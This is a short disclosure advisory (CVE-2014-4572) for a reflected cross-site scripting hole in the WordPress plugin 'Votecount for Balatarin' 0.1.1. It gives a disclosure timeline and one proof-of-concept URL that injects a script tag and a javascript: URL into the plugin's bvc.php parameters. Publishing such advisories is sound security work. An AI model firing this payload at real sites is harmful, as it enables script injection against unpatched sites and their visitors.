wp-plugin : votecount-for-balatarin – A3-Cross-Site Scripting (XSS)

 

Plugin Details

 

Plugin Name : votecount-for-balatarin

 

Effected Version : 0.1.1 (and most probably lower version's if any)

 
Vulnerability : A3-Cross-Site Scripting (XSS)
 
Identified by : Prajal Kulkarni

 

 

Technical Details

 

Minimum Level of Access Required : Unauthenticated

 

PoC - (Proof of Concept) :

 

http://localhost/wordpress/wp-content/wp-plugs/votecountforbalatarin/bvc.php?url=javascript:alert%281%29&title=tester&bvcurl=baaua%22%3E%3Cscript%3Ealert%281%29%3C/script%3E&donate=2222

 

Disclosure Timeline

 

Vendor Contacted : 2013-12-27

 
Plugin Status : Closed on 2014-01-11
 
Public Disclosure : April 25, 2014
 
CVE Number : CVE-2014-4572

 
Plugin Description :
 
The "Votecount for Balatarin" plugin shows the number of votes on "Balatarin.com" your posts get and allows users to vote it themselves.

Features:

* Display the number of Balatarin votes for each post/page
* Configure the style of the badge
* Disable the button on Pages

More info:

* More info on [Votecount for Balatarin](http://www.tafreevar.com/wordpress-plugins/votecount-for-balatarin), with info on how the button works.
* If you find any bugs or have any ideas, please [email us](tafreevar.weblog@gmail.com).

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